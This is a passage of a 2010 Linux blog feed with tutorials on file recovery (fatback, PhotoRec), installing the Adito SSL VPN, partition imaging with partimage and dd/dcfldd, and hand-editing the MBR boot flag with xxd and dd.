[block_device]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#  fatback /dev/sdb&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You will be presented with fatback's sub prompt. You can type '&lt;span style="color: rgb(255, 0, 0);"&gt;Help&lt;/span&gt;' to see the list of commands avaiable to you. The commands are quite easy to understand and intuitive to use so i will not rant on this tool any longer.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;Photorec&lt;/span&gt; will be a better tool that you may want to use when attempting to recover deleted files. This tool can recover all kinds of files and doesn't really care about the filesystem. PhotoRec is also companion program to TestDisk, an app for recovering lost partitions on a wide variety of file systems and making non-bootable disks bootable again. It is very important to note that you should not write recovered files back onto the drive that you are recovering files from. By doing this, you can potentialy overwrite important data on that disk. Likewise, As soon as a pic or file is accidentally deleted, or you discover any missing, do NOT save any more pics or files to that memory device or hard disk drive; otherwise you may overwrite your lost data.&lt;br /&gt;&lt;br /&gt;Usage:&lt;br /&gt;&lt;br /&gt;  &lt;span style="color: rgb(255, 102, 0);"&gt;photorec  [Block_device]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# photorec /dev/sdb&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This would put you through photorec's interface. The interface is very easy to understand and follow. From here you can select the device you would like to recover files from (if you didn' pass the option as a parameter when calling the program), destination to store the recovered files, files types to restore, etc. You can visually get an idea of photorec's interface and more write up on using the tool from &lt;span style="color: rgb(51, 255, 255);"&gt;http://www.linux.com/news/enterprise/storage/8257-how-to-recover-lost-files-after-you-accidentally-wipe-your-hard-drive&lt;/span&gt; :  article written by &lt;span style="color: rgb(255, 102, 0);"&gt;Shawn Hermans&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Resources/Good Reading:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://www.linux.com/news/enterprise/storage/8257-how-to-recover-lost-files-after-you-accidentally-wipe-your-hard-drive&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://www.cgsecurity.org/wiki/PhotoRec&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://sourceforge.net/projects/fatback/&lt;/span&gt;&lt;br /&gt;&lt;a href="mailto:%73%68%61%77%6e%40%68%65%72%6d%61%6e%73%2d%66%61%6d%69%6c%79%2e%63%6f%6d"&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-4047678413718708226?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/4047678413718708226/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/05/data-recovery-with-fatback-and-photorec.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4047678413718708226'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4047678413718708226'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/05/data-recovery-with-fatback-and-photorec.html' title='Data recovery with Fatback and photorec'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-3031673933021599008</id><published>2010-04-14T11:30:00.000-07:00</published><updated>2011-05-04T16:49:13.325-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='OpenVPN-ALS'/><category scheme='http://www.blogger.com/atom/ns#' term='Adito'/><title type='text'>Up and running with Adito (Openvpn ALS) VPN solution</title><content type='html'>Just recently i've had the opportunity to install the VPN server software, Adito, now known as Openvp-ALS and i find this piece of software to be very impressive. Adito is what is known as a clientless system, which means that no additional client software needs to be installed to connect to the server (you use any web browser as the client). It is based of SSL-Explorer, a once open source project that utilizes SSL technology to establishits VPN tunnels. Adito works similarly with SSL being the very gut of it's VPN system. The project also utilizes java, making it quite universal in the sense that it can be installed on Windows, Linux or a MAC. Because it works over HTTPS you can access your files securely from almost anywhere.&lt;br /&gt;&lt;br /&gt;Installing on a linux system:&lt;br /&gt;(System used: Bactrack 4)&lt;br /&gt;&lt;br /&gt;NOTE: The following steps were taking from &lt;span style="color: rgb(255, 102, 0);"&gt;http://jaredheinrichs.com/how-to-install-adito-on-ubuntu-linux.html&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# sudo apt-get install &lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;default-jre icedtea6-plugin &lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;openjdk-6-jdk&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// if this doesn't work, you may optionally try to install &lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;sun-java6-bin sun-java6-jdk &lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;sun-java6-plugin sun-java6-jre &lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;packages&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# sudo apt-get install ant &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# sudo wget http://superb-east.dl.sourceforge.net/sourceforge/adito/adito-0.9.1-bin.tar.gz&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// this link might be broken so you may need to find the updated path for the download &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# sudo mv adito-0.9.1-bin.tar.gz /opt/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# cd /opt &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# sudo tar -zxvf adito-0.9.1-bin.tar.gz &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# cd adito-0.9.1 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# sudo ant install &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This should start up the webserver on port 28080 on localhost.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;Open Browser on your local machine and go to: http://127.0.0.1:28080&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;Create New Certificate&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 255, 255);"&gt;Step 1 – Set Keystore Passphrase – Type password twice for Cert &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 255, 255);"&gt;Step 2 – Create New Certificate – Fill out Form &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 255, 255);"&gt;Step 3 – Configure User Database – Built-in &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 255, 255);"&gt;Step 4 – Configure Super User – Fill out Form &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 255, 255);"&gt;Step 5 – Configure Web Server – Leave defaults &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 255, 255);"&gt;Step 6 – Configure Proxies – Leave blank unless you use proxy – Hit Next &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 255, 255);"&gt;Step 7 – Summar&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;y&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Install Complete&lt;br /&gt;install&lt;br /&gt;Go Back to the Ubuntu CLI (Command line interface)&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# sudo ant install-service&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//This sets up the system so you can manage it from /etc/init.d with the usual start|stop|restart commands&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# sudo ant start &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;For installing on windows, please see:&lt;span style="color: rgb(255, 102, 0);"&gt; http://lars.werner.no/?page_id=153&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;NOTE:&lt;/span&gt; &lt;span style="color: rgb(255, 102, 0);"&gt;When using backtrack 4 to connect to the VPN server, i ran into issues with the java run-time not being initialized in Firefox. This may be the case with other Linux Distro's as well.To get this working I needed to create a symbolic link to the java run-time  plug-in file to my hidden "/root/.Mozilla/plug-ins" directory (in other cases it would be in the user's home directory). The plug-ins directory might not be there as Mozilla probably doesn't have any plug-ins installed as of yet so i went ahead and created that directory.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# cd /home/user_dir/.mozilla&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# mkdir plugins&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# ln -s /usr/lib/jvm/java-6-sun-1.6.0.10/jre/plugin/i386/ns7/libjavaplugin_oji.so&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;or if the above doesn't work&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;cd /usr/lib/firefox-dir/plugins&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# ln -s /usr/lib/jvm/java-6-sun-1.6.0.10/jre/plugin/i386/ns7/libjavaplugin_oji.so&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Restart Firefox and all should be well&lt;br /&gt;&lt;br /&gt;Resources / Good Reading:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://jaredheinrichs.com/how-to-install-adito-on-ubuntu-linux.html&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://sourceforge.net/projects/openvpn-als/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://www.sohoadvisers.com/tutorials/adito-ssl-vpn/installing-adito-ssl-vpn&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://lars.werner.no/?page_id=153&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-3031673933021599008?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/3031673933021599008/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/04/up-and-running-with-adito-openvpn-als.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/3031673933021599008'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/3031673933021599008'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/04/up-and-running-with-adito-openvpn-als.html' title='Up and running with Adito (Openvpn ALS) VPN solution'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-8407594188683106168</id><published>2010-04-12T12:33:00.000-07:00</published><updated>2010-04-12T13:12:01.750-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='partimage'/><title type='text'>Image partitions with the linux tool Partimage</title><content type='html'>Just recently i was looking at some alternative partition cloning software to the one i frequently use, driveimagexml. Not that their was anything wrong with DriveImageXML, i just was looking for a linux alterative. Little did i know, built into backtrack 4 was a piece of software called partimage which would accomplish pretty much what i would want. As in my recent posts on dd, one disadvantage to dd is that it backs up an entire partition, not just the used space. So if you have a 10 gig partition and only 2 gigs is used up, dd would produce a 10 gig exact copy of the partition. Partimage however only backs up the used portion of the partition saving you time and space.&lt;br /&gt;&lt;br /&gt;To launch/use partimage:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# partimage&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This launches an n-curses based user interface which is far from complicated and the options doesn't really need much explanation&lt;br /&gt;&lt;br /&gt;For more info on its usage, see &lt;span style="color: rgb(255, 102, 0);"&gt;www.psychocats.net/ubuntu/partimage &lt;span style="color: rgb(51, 255, 255);"&gt;or&lt;/span&gt; www.partimage.org&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-8407594188683106168?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/8407594188683106168/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/04/image-partitions-with-linux-tool.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/8407594188683106168'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/8407594188683106168'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/04/image-partitions-with-linux-tool.html' title='Image partitions with the linux tool Partimage'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-3681240103326949531</id><published>2010-04-11T19:31:00.000-07:00</published><updated>2010-04-12T08:12:03.358-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hexedit'/><title type='text'>Hexedit a hard disk</title><content type='html'>I'm gonna be simply changing a flag within the boot sector that identifies the system (or boot) partition. This will serve as the basic principles behind doing low level hard disk analysis and editing, typically common withing digital forensics.&lt;br /&gt;&lt;br /&gt;The boot sector is the first 512 bytes on a hard disk (446 bytes for bootloader code, 64 bytes for partition table, and the last two bytes in the sector are a signature word for the sector and are always hex 55 AA). The partition table contains the entries for the primary and extended partitions and each entry is 16 bytes long, giving a maximum of 4 entries available.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;The following table describes each entry in the Partition Table. The  sample   values correspond to the information for partition 1.(taken from &lt;span style="color: rgb(255, 102, 0);"&gt;http://www.ntfs.com/partition-table.htm&lt;/span&gt;)&lt;/p&gt;  &lt;p&gt;Partition Table Fields&lt;/p&gt;     &lt;table style="border-collapse: collapse;" border="1" bordercolor="#c0c0c0" cellpadding="2" cellspacing="0" cols="5" width="90%"&gt;&lt;colgroup&gt; &lt;col valign="top" width="10%"&gt; &lt;col valign="top" width="10%"&gt; &lt;col valign="top" width="10%"&gt; &lt;col valign="top" width="60%"&gt; &lt;col valign="top" width="0"&gt;&lt;/colgroup&gt; &lt;tbody&gt;&lt;tr&gt; &lt;th bgcolor="#ebebeb"&gt;&lt;p&gt;Byte Offset&lt;/p&gt;&lt;/th&gt; &lt;th bgcolor="#ebebeb"&gt;&lt;p&gt;Field Length&lt;/p&gt;&lt;/th&gt; &lt;th bgcolor="#ebebeb"&gt;&lt;p&gt;Sample Value&lt;/p&gt;&lt;/th&gt; &lt;th bgcolor="#ebebeb"&gt;&lt;p&gt;Meaning&lt;/p&gt;&lt;/th&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;p&gt;00&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;BYTE&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;0x80&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;&lt;a href="http://www.ntfs.com/partition-table.htm#Boot%20Indicator%20Field"&gt;Boot  Indicator&lt;/a&gt;. Indicates whether the partition is the system partition.   Legal values are:&lt;br /&gt;00 = Do not use for booting.&lt;br /&gt;80 = System  partition.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;p&gt;01&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;BYTE&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;0x01&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;&lt;a href="http://www.ntfs.com/partition-table-heads.htm"&gt;Starting  Head&lt;/a&gt;.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;p&gt;02&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;6 bits&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;0x01&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;&lt;a href="http://www.ntfs.com/partition-table-heads.htm"&gt;Starting  Sector&lt;/a&gt;. Only bits 0-5 are used. Bits 6-7 are the upper two bits for  the Starting Cylinder field.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;p&gt;03&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;10 bits&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;0x00&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;&lt;a href="http://www.ntfs.com/partition-table-heads.htm"&gt;Starting  Cylinder&lt;/a&gt;. This field contains the lower 8 bits of the cylinder  value. Starting cylinder is thus a 10-bit number, with a maximum value  of  1023.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;p&gt;04&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;BYTE&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;0x06&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;&lt;a href="http://www.ntfs.com/partition-table.htm#sec1"&gt;System ID&lt;/a&gt;.  This byte defines the volume type. In Windows NT, it also  indicates that a partition is part of a volume that requires the use of  the HKEY_LOCAL_MACHINE\SYSTEM\DISK Registry subkey.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;p&gt;05&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;BYTE&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;0x0F&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;&lt;a href="http://www.ntfs.com/partition-table-heads.htm"&gt;Ending  Head&lt;/a&gt;.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;p&gt;06&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;6 bits&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;0x3F&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;&lt;a href="http://www.ntfs.com/partition-table-heads.htm"&gt;Ending  Sector&lt;/a&gt;. Only bits 0-5 are used. Bits 6-7 are the upper two bits for  the Ending Cylinder field.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;p&gt;07&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;10 bits&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;0x196&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;&lt;a href="http://www.ntfs.com/partition-table-heads.htm"&gt;Ending  Cylinder&lt;/a&gt;. This field contains the lower 8 bits of the cylinder  value.  Ending cylinder is thus a 10-bit number, with a maximum value of  1023.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;p&gt;08&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;DWORD&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;3F 00 00 00&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;&lt;a href="http://www.ntfs.com/partition-table-heads.htm#sec3"&gt;Relative  Sector&lt;/a&gt;.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;p&gt;12&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;DWORD&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;51 42 06 00&lt;/p&gt;&lt;/td&gt; &lt;td&gt;&lt;p&gt;&lt;a href="http://www.ntfs.com/partition-table-heads.htm#sec3"&gt;Total  Sectors&lt;/a&gt;.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;First we identify the partition table.&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# xxd -l 64 -s +446 /dev/sdb &lt;span style="color: rgb(51, 255, 255);"&gt;// jumps to the offset at byte position 446 and displays the next 64 bytes which will be the partition table&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now according to the partition table field the first byte( of the 16 byte per entry) represents the boot indicator field. When the BIOS passes control to the boot sector, the code withing the fist 446 bytes looks at the partition table and identifies the boot/system partition (Legal values are hex value 80 or 00:  00 = Do not use for booting, 80 = System  partition). We are gonna change this system partiton flag to 00. This will see the partition as unbootable.&lt;br /&gt;&lt;br /&gt;So the MBR is 446 bytes in length(offset 0-445). The next 64 bytes represents the partition table consisting of a possible 4 entries (16 bytes x 4). The first byte of each entry indicates whether its the system partition or not. If their was only one partiton then the bytes 446 - 462 would contain values, whilst the rest of the entries would be all zero's.&lt;br /&gt;&lt;br /&gt;To change the first partition entry system id field, we want to put the value of hexadecimal 00 at offset 446 bytes. First we create a simple text file with only the value of 00 in it. Then we use the 'xxd' program to convert this simple text file into a binay file containing only the hex value of 00.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# echo "00" | xxd -ps -r &gt; byte.bin&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now to get that byte written into offset 446 you use the 'dd' program.&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# dd if=byte.bin of=/dev/sdb seek=446 bs=1 count=1&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;// reads and writes 1byte , 1 time, from byte.bin file at offest 446 into the block device /dev/sdb&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To do this all in one command, we can make use of pipes:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# echo "00" | xxd -ps -r | dd of=/dev/sdb seek=446 bs=1 count=1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;References/Good reading:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://www.ntfs.com/partition-table.htm&lt;br /&gt;http://www.linuxquestions.org/questions/linux-newbie-8/learn-the-dd-command-362506/&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-3681240103326949531?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/3681240103326949531/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/04/hexedit-hard-disk.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/3681240103326949531'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/3681240103326949531'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/04/hexedit-hard-disk.html' title='Hexedit a hard disk'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-4602637665517750143</id><published>2010-04-08T06:42:00.000-07:00</published><updated>2010-04-25T15:48:40.325-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dd'/><category scheme='http://www.blogger.com/atom/ns#' term='restore'/><category scheme='http://www.blogger.com/atom/ns#' term='backup'/><category scheme='http://www.blogger.com/atom/ns#' term='dcfldd'/><title type='text'>Using 'dd' or 'dcfldd'for disk imaging and backup</title><content type='html'>DD is a very ancient unix utility that still has its superiority in the disk imaging and cloning categories of tools. Being command lined based, it reads from standard input and write to its standard output which allows you to use 'pipes' for advanced processing and remote networking capabilities.&lt;br /&gt;&lt;br /&gt;DCFLDD is an enhanced version of dd and follows the same structure when passing arguments, i.e, &lt;span style="color: rgb(255, 102, 0);"&gt;keyword=value&lt;/span&gt; format. The commands are almost identical so you can pretty much use the same commands that you use in dd with dcfldd but not necessarily the other way around as the later has some enhancements that dd does not have. Some of dcfldd enhancements include&lt;br /&gt;&lt;ul&gt;&lt;li&gt; Hashing on-the-fly - dcfldd can hash the input data as it is being transferred, helping to ensure data integrity.  &lt;/li&gt;&lt;li&gt; Status output - dcfldd can update the user of its progress in terms of the  amount of data transferred and how much longer operation will take.  &lt;/li&gt;&lt;li&gt; Flexible disk wipes - dcfldd can be used to wipe disks quickly and with a known pattern if desired.  &lt;/li&gt;&lt;li&gt; Image/wipe Verify - dcfldd can verify that a target drive is a bit-for-bit match of the specified input file or pattern.  &lt;/li&gt;&lt;li&gt; Multiple outputs - dcfldd can output to multiple files or disks at the same time.  &lt;/li&gt;&lt;li&gt; Split output - dcfldd can split output to multiple files with more configurability than the split command.  &lt;/li&gt;&lt;li&gt; Piped output and logs - dcfldd can send all its log data and output to commands as well as files natively.   &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Using dd you can create backups of an entire harddisks or just parts of it.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hard disk copy/Back up&lt;/span&gt;::&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# dd if=/dev/sda of=/dev/sdb&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# dd if=/dev/sda of=/path/to/image&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# dd if=/dev/sda | gzip &gt; /path/to/image.gz&lt;/span&gt;  &lt;span style="color: rgb(51, 255, 255);"&gt;//makes image of sda disk and pipes it to the gzip program for compression of the backup image file image.gz&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Restore Backup&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# dd if=/path/to/image of=/dev/sda&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;# gzip -dc /path/to/image.gz | dd of=/dev/sda&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;MBR Backup&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;# dd if=/dev/sda of=/path/to/mbr/image count=1 bs=512&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;MBR Restore&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;# dd if=/path/to/mbr/image of=/dev/sda&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;add "count=1 bs=446" to exclude the partiton table&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;More Advance commands&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;# dcfldd if=/dev/sda of=/path/to/image bs=4096 conv=notrunc,noerror //&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;make an iso image of CD&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;# dcfldd if=/dev/cd of=/home/mycd.iso bs=2048 conv=notrunc &lt;span style="color: rgb(51, 255, 255);"&gt;// CD sectors are 2048 bytes so this copies sector to sector. &lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;The result will be a hard disk image file of the CD. You can use "chmod a+rwx mycd.iso" to make the image writable.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;make an iso image of Hard disk&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;# dcfldd if=/dev/hda of=/home/disk.iso bs=4096 conv=notrunc,noerror &lt;span style="color: rgb(51, 255, 255);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;To mount the image&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;: &lt;span style="color: rgb(255, 0, 0);"&gt;# mount -o loop /path/to/image /mnt/mountpoint&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;In some cases, you would not be able to mount the image file. What you need to do is determine the offset of the sector (not the cyclinder). You can get the cylinder offests using fdisk.&lt;br /&gt;&lt;br /&gt;First, associate one of the loop interfaces with the image file &lt;span style="color: rgb(255, 0, 